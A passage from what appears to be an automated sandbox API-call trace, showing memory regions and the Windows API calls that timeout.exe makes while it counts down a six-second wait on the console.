Region: id = 1586 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1587 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1588 start_va = 0x4ea0000 end_va = 0x629ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ea0000" filename = "" Region: id = 1589 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1590 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1591 start_va = 0x120000 end_va = 0x122fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timeout.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\timeout.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\timeout.exe.mui") Region: id = 1592 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1593 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1594 start_va = 0x960000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1595 start_va = 0xa70000 end_va = 0xda6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 121 os_tid = 0xd14 [0168.641] GetModuleHandleA (lpModuleName=0x0) returned 0xe90000 [0168.641] __set_app_type (_Type=0x1) [0168.641] __p__fmode () returned 0x75734d6c [0168.641] __p__commode () returned 0x75735b1c [0168.641] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe94fe0) returned 0x0 [0168.641] __wgetmainargs (in: _Argc=0xe96018, _Argv=0xe9601c, _Env=0xe96020, _DoWildCard=0, _StartInfo=0xe9602c | out: _Argc=0xe96018, _Argv=0xe9601c, _Env=0xe96020) returned 0 [0168.642] SetThreadUILanguage (LangId=0x0) returned 0x409 [0168.648] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0168.648] SetLastError (dwErrCode=0x0) [0168.648] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0168.648] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0168.648] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0168.648] RtlVerifyVersionInfo (VersionInfo=0xdf7d8, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0168.648] GetProcessHeap () returned 0x480000 [0168.648] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x4873d8 [0168.648] lstrlenW (lpString="") returned 0 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x2) returned 0x483728 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x4882c8 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x487528 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x4870d8 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x4872e8 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x482978 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x486ea0 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x487498 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x486ec0 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x486ee0 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x488798 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c258 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x487408 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c438 [0168.649] GetProcessHeap () returned 0x480000 [0168.649] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c4f8 [0168.649] GetProcessHeap () returned 0x480000 [0168.650] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c298 [0168.650] GetProcessHeap () returned 0x480000 [0168.650] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c1b8 [0168.650] SetThreadUILanguage (LangId=0x0) returned 0x409 [0168.652] SetLastError (dwErrCode=0x0) [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c1d8 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c158 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c198 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c178 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c2d8 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x487390 [0168.652] _memicmp (_Buf1=0x487390, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x208) returned 0x48c538 [0168.652] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48c538, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe")) returned 0x1f [0168.652] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", lpdwHandle=0xdf8e4 | out: lpdwHandle=0xdf8e4) returned 0x76c [0168.652] GetProcessHeap () returned 0x480000 [0168.652] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x776) returned 0x48c748 [0168.652] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\timeout.exe", dwHandle=0x0, dwLen=0x776, lpData=0x48c748 | out: lpData=0x48c748) returned 1 [0168.653] VerQueryValueW (in: pBlock=0x48c748, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf8ec, puLen=0xdf8f0 | out: lplpBuffer=0xdf8ec*=0x48caf8, puLen=0xdf8f0) returned 1 [0168.656] _memicmp (_Buf1=0x487390, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.656] _vsnwprintf (in: _Buffer=0x48c538, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf8d0 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0168.656] VerQueryValueW (in: pBlock=0x48c748, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf8fc, puLen=0xdf8f8 | out: lplpBuffer=0xdf8fc*=0x48c92c, puLen=0xdf8f8) returned 1 [0168.656] lstrlenW (lpString="timeout.exe") returned 11 [0168.656] lstrlenW (lpString="timeout.exe") returned 11 [0168.656] lstrlenW (lpString=".EXE") returned 4 [0168.657] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe" [0168.657] lstrlenW (lpString="timeout.exe") returned 11 [0168.657] lstrlenW (lpString=".EXE") returned 4 [0168.657] _memicmp (_Buf1=0x487390, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.657] lstrlenW (lpString="timeout") returned 7 [0168.657] GetProcessHeap () returned 0x480000 [0168.657] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c418 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c1f8 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c458 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c478 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x48d370 [0168.658] _memicmp (_Buf1=0x48d370, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0xa0) returned 0x48dcb0 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c218 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c498 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c238 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x48d3e8 [0168.658] _memicmp (_Buf1=0x48d3e8, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.658] GetProcessHeap () returned 0x480000 [0168.658] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x200) returned 0x48e408 [0168.659] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x48e408, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0168.659] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0168.659] GetProcessHeap () returned 0x480000 [0168.659] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x30) returned 0x4886c8 [0168.659] _vsnwprintf (in: _Buffer=0x48dcb0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf8d4 | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28 [0168.659] GetProcessHeap () returned 0x480000 [0168.659] GetProcessHeap () returned 0x480000 [0168.659] HeapValidate (hHeap=0x480000, dwFlags=0x0, lpMem=0x48c748) returned 1 [0168.659] GetProcessHeap () returned 0x480000 [0168.659] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x48c748) returned 0x776 [0168.659] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x48c748 | out: hHeap=0x480000) returned 1 [0168.659] SetLastError (dwErrCode=0x0) [0168.659] GetThreadLocale () returned 0x409 [0168.659] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0168.660] lstrlenW (lpString="?") returned 1 [0168.660] GetThreadLocale () returned 0x409 [0168.660] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0168.660] GetThreadLocale () returned 0x409 [0168.660] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0168.660] lstrlenW (lpString="nobreak") returned 7 [0168.660] SetLastError (dwErrCode=0x0) [0168.660] SetLastError (dwErrCode=0x0) [0168.660] lstrlenW (lpString="/t") returned 2 [0168.660] lstrlenW (lpString="-/") returned 2 [0168.660] StrChrIW (lpStart="-/", wMatch=0xa6002f) returned="/" [0168.660] lstrlenW (lpString="?") returned 1 [0168.660] lstrlenW (lpString="?") returned 1 [0168.660] GetProcessHeap () returned 0x480000 [0168.660] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x48d328 [0168.660] _memicmp (_Buf1=0x48d328, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.660] GetProcessHeap () returned 0x480000 [0168.660] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0xa) returned 0x48d340 [0168.660] lstrlenW (lpString="t") returned 1 [0168.660] GetProcessHeap () returned 0x480000 [0168.660] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x48d358 [0168.660] _memicmp (_Buf1=0x48d358, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.660] GetProcessHeap () returned 0x480000 [0168.660] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0xa) returned 0x48d388 [0168.660] _vsnwprintf (in: _Buffer=0x48d340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf8c4 | out: _Buffer="|?|") returned 3 [0168.660] _vsnwprintf (in: _Buffer=0x48d388, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf8c4 | out: _Buffer="|t|") returned 3 [0168.660] lstrlenW (lpString="|?|") returned 3 [0168.661] lstrlenW (lpString="|t|") returned 3 [0168.661] StrStrIW (lpFirst="|?|", lpSrch="|t|") returned 0x0 [0168.661] SetLastError (dwErrCode=0x490) [0168.661] lstrlenW (lpString="t") returned 1 [0168.661] lstrlenW (lpString="t") returned 1 [0168.661] _memicmp (_Buf1=0x48d328, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.661] lstrlenW (lpString="t") returned 1 [0168.661] _memicmp (_Buf1=0x48d358, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.661] _vsnwprintf (in: _Buffer=0x48d340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf8c4 | out: _Buffer="|t|") returned 3 [0168.661] _vsnwprintf (in: _Buffer=0x48d388, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf8c4 | out: _Buffer="|t|") returned 3 [0168.661] lstrlenW (lpString="|t|") returned 3 [0168.661] lstrlenW (lpString="|t|") returned 3 [0168.661] StrStrIW (lpFirst="|t|", lpSrch="|t|") returned="|t|" [0168.661] SetLastError (dwErrCode=0x0) [0168.661] SetLastError (dwErrCode=0x0) [0168.661] lstrlenW (lpString="6") returned 1 [0168.661] SetLastError (dwErrCode=0x490) [0168.661] SetLastError (dwErrCode=0x0) [0168.661] lstrlenW (lpString="6") returned 1 [0168.661] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0168.661] SetLastError (dwErrCode=0x490) [0168.661] SetLastError (dwErrCode=0x0) [0168.661] GetProcessHeap () returned 0x480000 [0168.661] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x10) returned 0x48d3a0 [0168.661] _memicmp (_Buf1=0x48d3a0, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.661] lstrlenW (lpString="6") returned 1 [0168.661] GetProcessHeap () returned 0x480000 [0168.661] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x4) returned 0x488800 [0168.662] lstrlenW (lpString="6") returned 1 [0168.662] lstrlenW (lpString=" \x09") returned 2 [0168.662] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0168.662] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0168.662] GetLastError () returned 0x0 [0168.662] lstrlenW (lpString="6") returned 1 [0168.662] lstrlenW (lpString="6") returned 1 [0168.662] SetLastError (dwErrCode=0x0) [0168.662] _errno () returned 0xa605b0 [0168.662] wcstol (in: _String="6", _EndPtr=0xdfab8, _Radix=10 | out: _EndPtr=0xdfab8*="") returned 6 [0168.662] lstrlenW (lpString="") returned 0 [0168.662] _errno () returned 0xa605b0 [0168.662] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9eb [0168.662] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38 [0168.662] GetFileType (hFile=0x38) returned 0x2 [0168.662] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xdfab0 | out: lpMode=0xdfab0) returned 1 [0168.663] GetStdHandle (nStdHandle=0xfffffff6) returned 0x38 [0168.663] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xdfad0 | out: lpMode=0xdfad0) returned 1 [0168.663] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1a1) returned 1 [0168.663] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x38, lpNumberOfEvents=0xdfad4 | out: lpNumberOfEvents=0xdfad4) returned 1 [0168.664] FlushConsoleInputBuffer (hConsoleInput=0x38) returned 1 [0168.664] GetProcessHeap () returned 0x480000 [0168.664] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c378 [0168.664] _memicmp (_Buf1=0x48d3e8, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.664] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x48e408, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11 [0168.664] lstrlenW (lpString="\nWaiting for %*lu") returned 17 [0168.664] GetProcessHeap () returned 0x480000 [0168.664] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x24) returned 0x483828 [0168.664] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0xdfa9c | out: _Buffer="\nWaiting for 6") returned 14 [0168.664] __iob_func () returned 0x75731208 [0168.664] _fileno (_File=0x75731228) returned 1 [0168.664] _errno () returned 0xa605b0 [0168.665] _get_osfhandle (_FileHandle=1) returned 0x3c [0168.665] _errno () returned 0xa605b0 [0168.665] GetFileType (hFile=0x3c) returned 0x2 [0168.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.665] GetFileType (hFile=0x3c) returned 0x2 [0168.665] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0168.665] __iob_func () returned 0x75731208 [0168.665] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.665] lstrlenW (lpString="\nWaiting for 6") returned 14 [0168.665] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0xe) returned 1 [0168.666] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.666] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3c, lpConsoleScreenBufferInfo=0xdfae8 | out: lpConsoleScreenBufferInfo=0xdfae8) returned 1 [0168.667] GetProcessHeap () returned 0x480000 [0168.667] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x14) returned 0x48c4b8 [0168.667] _memicmp (_Buf1=0x48d3e8, _Buf2=0xe910ac, _Size=0x7) returned 0 [0168.667] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x48e408, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25 [0168.667] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0168.667] GetProcessHeap () returned 0x480000 [0168.667] RtlAllocateHeap (HeapHandle=0x480000, Flags=0xc, Size=0x4c) returned 0x487958 [0168.667] __iob_func () returned 0x75731208 [0168.667] _fileno (_File=0x75731228) returned 1 [0168.667] _errno () returned 0xa605b0 [0168.667] _get_osfhandle (_FileHandle=1) returned 0x3c [0168.667] _errno () returned 0xa605b0 [0168.667] GetFileType (hFile=0x3c) returned 0x2 [0168.667] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.667] GetFileType (hFile=0x3c) returned 0x2 [0168.667] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0168.667] __iob_func () returned 0x75731208 [0168.667] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.667] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0168.667] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x487958*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0x487958*, lpNumberOfCharsWritten=0xdfa98*=0x25) returned 1 [0168.671] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0168.671] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9eb [0168.671] Sleep (dwMilliseconds=0x64) [0168.773] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0168.777] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9eb [0168.777] Sleep (dwMilliseconds=0x64) [0168.882] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0168.889] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0168.889] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x085") returned 2 [0168.889] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0168.892] __iob_func () returned 0x75731208 [0168.892] _fileno (_File=0x75731228) returned 1 [0168.892] _errno () returned 0xa605b0 [0168.892] _get_osfhandle (_FileHandle=1) returned 0x3c [0168.892] _errno () returned 0xa605b0 [0168.892] GetFileType (hFile=0x3c) returned 0x2 [0168.892] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.892] GetFileType (hFile=0x3c) returned 0x2 [0168.892] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0168.901] __iob_func () returned 0x75731208 [0168.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0168.901] lstrlenW (lpString="\x085") returned 2 [0168.901] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0168.914] Sleep (dwMilliseconds=0x64) [0169.022] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.023] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.023] Sleep (dwMilliseconds=0x64) [0169.156] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.162] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.162] Sleep (dwMilliseconds=0x64) [0169.313] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.320] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.320] Sleep (dwMilliseconds=0x64) [0169.428] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.431] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.431] Sleep (dwMilliseconds=0x64) [0169.544] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.550] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.550] Sleep (dwMilliseconds=0x64) [0169.654] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.657] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.657] Sleep (dwMilliseconds=0x64) [0169.769] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.775] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ec [0169.775] Sleep (dwMilliseconds=0x64) [0169.878] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0169.881] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0169.881] _vsnwprintf (in: _Buffer=0xdfd24, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xdfa98 | out: _Buffer="\x084") returned 2 [0169.881] SetConsoleCursorPosition (hConsoleOutput=0x3c, dwCursorPosition=0x3000d) returned 1 [0169.885] __iob_func () returned 0x75731208 [0169.885] _fileno (_File=0x75731228) returned 1 [0169.885] _errno () returned 0xa605b0 [0169.885] _get_osfhandle (_FileHandle=1) returned 0x3c [0169.885] _errno () returned 0xa605b0 [0169.885] GetFileType (hFile=0x3c) returned 0x2 [0169.885] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0169.885] GetFileType (hFile=0x3c) returned 0x2 [0169.885] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xdfa74 | out: lpMode=0xdfa74) returned 1 [0169.889] __iob_func () returned 0x75731208 [0169.889] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0169.889] lstrlenW (lpString="\x084") returned 2 [0169.889] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xdfd24*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xdfa98, lpReserved=0x0 | out: lpBuffer=0xdfd24*, lpNumberOfCharsWritten=0xdfa98*=0x2) returned 1 [0169.900] Sleep (dwMilliseconds=0x64) [0170.053] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.061] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0170.061] Sleep (dwMilliseconds=0x64) [0170.167] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.171] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0170.171] Sleep (dwMilliseconds=0x64) [0170.383] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.485] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0170.485] Sleep (dwMilliseconds=0x64) [0170.592] PeekConsoleInputW (in: hConsoleInput=0x38, lpBuffer=0xdfb00, nLength=0x2, lpNumberOfEventsRead=0xdfad4 | out: lpBuffer=0xdfb00, lpNumberOfEventsRead=0xdfad4) returned 1 [0170.600] time (in: timer=0xdfae0 | out: timer=0xdfae0) returned 0x6152b9ed [0170.600] Sleep 